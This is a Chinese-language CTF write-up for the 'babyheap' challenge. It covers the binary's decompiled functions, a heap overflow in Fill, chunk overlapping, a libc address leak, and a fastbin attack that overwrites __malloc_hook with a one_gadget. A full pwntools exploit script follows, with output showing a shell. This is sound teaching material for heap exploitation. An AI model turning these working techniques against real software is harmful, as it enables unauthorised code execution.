Pwn babyheap writeup

TOC

  1. 1. 程序功能介绍
    1. 1.1. 安全防护
    2. 1.2. 结构体
    3. 1.3. 主程序
    4. 1.4. 菜单
    5. 1.5. Allocate
      1. 1.5.1. calloc
    6. 1.6. Fill
    7. 1.7. Free
    8. 1.8. Dump
  2. 2. 分析
  3. 3. 思路
    1. 3.1. chunk extend 进行 overlapping
    2. 3.2. 泄露libc基地址
    3. 3.3. 劫持malloc_hook
      1. 3.3.1. one_gadget
  4. 4. 完整脚本
    1. 4.1. 运行实例
  5. 5. 总结

源文件、IDA分析文件打包下载:babyheap.zip

程序功能介绍

安全防护

ex@Ex:~/test$ checksec babyheap
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序是Full RELRO防护,使得劫持got表变得不可能,而且PIE保护也会增加getshell的难度。

结构体

typedef struct container
{
long long is_used;
long long size;
char *ptr;
}container;

主程序

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
container *container_array; // [rsp+8h] [rbp-8h]

container_array = (container *)allocate_by_mmap();
while ( 1 )
{
show_menu();
get_number();
switch ( (unsigned __int64)global_operate )
{
case 1uLL:
Allocate(container_array);
break;
case 2uLL:
Fill(container_array);
break;
case 3uLL:
Free(container_array);
break;
case 4uLL:
Dump(container_array);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}

菜单

int show_menu()
{
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
return printf("Command: ");
}

Allocate

void __fastcall Allocate(container *a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !LODWORD(a1[i].is_used) )
{
printf("Size: ");
v2 = get_number();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
LODWORD(a1[i].is_used) = 1;
a1[i].size = v2;
a1[i].ptr = (__int64)v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

calloc

The calloc() function allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. If nmemb or size is 0, then calloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().

Fill

void __fastcall Fill(container *a1)
{
signed int v1; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = get_number();
if ( v1 >= 0 && v1 <= 15 && LODWORD(a1[v1].is_used) == 1 )
{
printf("Size: ");
size = get_number();
if ( size > 0 )
{
printf("Content: ");
read_from_stdin(a1[v1].ptr, size);
}
}
}

这里的size是由用户输入而定的。

Free

void __fastcall Free(container *a1)
{
signed int v1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = get_number();
if ( v1 >= 0 && v1 <= 15 && LODWORD(a1[v1].is_used) == 1 )
{
LODWORD(a1[v1].is_used) = 0;
a1[v1].size = 0LL;
free((void *)a1[v1].ptr);
a1[v1].ptr = 0LL;
}
}

free这里处理的很干净,基本找不出漏洞。

Dump

void __fastcall Dump(container *a1)
{
signed int index; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
index = get_number();
if ( index >= 0 && index <= 15 && LODWORD(a1[index].is_used) == 1 )
{
puts("Content: ");
output_to_stdout(a1[index].ptr, a1[index].size);
puts(byte_14F1);
}
}

输入container->ptr指向内存块的内容,没有’\0’截断。

分析

Fill的size由用户控制,原本设想heap overflow来构造unlink来控制container_array变量来达到任意地址写的目的,但是container_array的地址是完全随机的,所以这里用的是控制main_arena上分的malloc_hook来达到getshell的目的。calloc函数又会给泄露libc基地址增加麻烦。

思路

  1. chunk extend
  2. 泄露libc基地址
  3. 劫持malloc_hook

chunk extend 进行 overlapping

# 用于overflow
Allocate(0x10) # index 0

Allocate(0x80) # index 1
Allocate(0x80) # index 2
# 防止与top chunk合并
Allocate(0x10)

# 修改 index 1 的 size 为 0x121
Fill(0, 0x10 + 0x10, b'a' * 0x10 + p64(0) + p64(0x121))

Free(1)
Allocate(0x80 + 0x90) # index 1

这里我将index 1index 2重合。

泄露libc基地址

由于上面是用alloc函数进行申请内存,所以会对内存进行’\0’填充,所以我们要先需要恢复 index 2 的chunk 首部。

# 2. 泄露libc基地址
# 恢复 index 2 的 chunk 首部
Fill(1, 0x80 + 0x10, b'b' * 0x80 + p64(0) + p64(0x91))
Free(2)
result = Dump(1)
main_arena_88 = u64(result[0x90: 0x90 + 8])
log.success('main_arena_88: ' + hex(main_arena_88))

# 这个需要自行计算
main_arena_88_offset = 0x3c4b78
libc_base = main_arena_88 - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))

由于不同的库函数main_arena_88_offset是不同的,所以需要自行计算。

劫持malloc_hook

main_arena的布局如下,我们只需要把malloc_hook修改为one_gadget就可以getshell了。

pwndbg> p &main_arena 
$1 = (struct malloc_state *) 0x7ff3b7c4bb20 <main_arena>
pwndbg> x/16gx 0x7ff3b7c4bb20-0x40
0x7ff3b7c4bae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4baf0 <_IO_wide_data_0+304>: 0x00007ff3b7c4a260 0x0000000000000000
0x7ff3b7c4bb00 <__memalign_hook>: 0x00007ff3b790ce20 0x00007ff3b790ca00
0x7ff3b7c4bb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ff3b7c4bb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb50 <main_arena+48>: 0x0000000000000000 0x0000000000000000

可以看到malloc_hook就在上面。但是向前overlapping的时候会对前面的chunk的size进行检查。所以我们需要进行一点偏移来伪造size。

pwndbg> x/16gx 0x7ff3b7c4bb20-0x40-3
0x7ff3b7c4badd <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4baed <_IO_wide_data_0+301>: 0xf3b7c4a260000000 0x000000000000007f
0x7ff3b7c4bafd: 0xf3b790ce20000000 0xf3b790ca0000007f
0x7ff3b7c4bb0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ff3b7c4bb1d: 0x0100000000000000 0x0000000000000000
0x7ff3b7c4bb2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7ff3b7c4bb4d <main_arena+45>: 0x0000000000000000 0x0000000000000000

one_gadget

不同版本的glibc,one_gadget是不同的,这个需要根据自己的机器变动。

ex@ubuntu:~/test$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

这里简单说一下本人犯的一个错误,在进行申请任意内存时,我用 unsorted bin 来操作的,因为这个问题还调试了挺久的,后面keer大佬提醒要用fastbin 才反应过来。

# 3. 劫持 malloc_hook
Allocate(0x60) # index 2
Free(2) # 放入fastbin 中
Fill(1, 0x80 + 0x20 - 8, b'c' * 0x80 + p64(0) + p64(0x71)
+ p64(main_arena - 0x33)) # fd

Allocate(0x60) # index 2
Allocate(0x60) # index 4

one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
Fill(4, 0x13 + 8, 'd' * 0x13 + p64(one_gadget_addr))

# getshell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(10))

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./babyheap')
elf = ELF('./babyheap')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def Allocate(size):
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Command: ')

def Fill(index, size, content):
sh.sendline('2')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Size: ')
sh.sendline(str(size))
sh.recvuntil('Content: ')
sh.send(content)
sh.recvuntil('Command: ')

def Free(index):
sh.sendline('3')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Command: ')

def Dump(index):
sh.sendline('4')
sh.recvuntil('Index: ')
sh.sendline(str(index))
sh.recvuntil('Content: \n')
result = sh.recvuntil('Command: ')
return result[:-10]

def s():
raw_input('#')

# 清除流
sh.recvuntil('Command: ')

# 1. chunk extend 进行 overlapping
# 用于overflow
Allocate(0x10) # index 0

Allocate(0x80) # index 1
Allocate(0x80) # index 2
# 防止与top chunk合并
Allocate(0x10) # index 3

# 修改 index 1 的 size 为 0x121
Fill(0, 0x10 + 0x10, b'a' * 0x10 + p64(0) + p64(0x121))

Free(1)
Allocate(0x80 + 0x90) # index 1


# 2. 泄露libc基地址
# 恢复 index 2 的 chunk 首部
Fill(1, 0x80 + 0x10, b'b' * 0x80 + p64(0) + p64(0x91))
Free(2)
result = Dump(1)
main_arena_88 = u64(result[0x90: 0x90 + 8])
log.success('main_arena_88: ' + hex(main_arena_88))
main_arena = main_arena_88 - 88
log.success('main_arena: ' + hex(main_arena))

# 这个需要自行计算
main_arena_88_offset = 0x3c4b78
libc_base = main_arena_88 - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))


# 3. 劫持 malloc_hook
Allocate(0x60) # index 2
Free(2) # 放入fastbin 中
Fill(1, 0x80 + 0x20 - 8, b'c' * 0x80 + p64(0) + p64(0x71)
+ p64(main_arena - 0x33)) # fd

Allocate(0x60) # index 2
Allocate(0x60) # index 4

one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
Fill(4, 0x13 + 8, 'd' * 0x13 + p64(one_gadget_addr))

# getshell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(10))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './babyheap': pid 2420
[*] '/home/ex/test/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] main_arena_88: 0x7f5fb4114b78
[+] main_arena: 0x7f5fb4114b20
[+] libc_base: 0x7f5fb3d50000
[+] one_gadget_addr: 0x7f5fb3d9526a
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

总结

三人行必有我师焉。